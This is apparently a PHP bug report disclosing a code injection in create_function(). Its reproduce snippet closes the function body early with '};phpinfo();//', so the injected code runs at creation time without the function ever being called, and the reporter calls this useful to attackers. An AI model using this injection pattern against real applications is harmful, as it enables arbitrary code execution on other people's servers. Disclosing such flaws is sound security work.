Description:
------------
there is a commond injection in this function,you can EXECUTE your php code directly but not CREATE a lambda-style function.It is very useful when sometimes you can create a function but cann??t call your function.



Reproduce code:
---------------
<?php
$newfunc = create_function('', '};phpinfo();//');
?> 

Expected result:
----------------
phpinfo executes runtime,needn't call newfunc.

Actual result:
--------------
phpinfo executes runtime,needn't call newfunc.
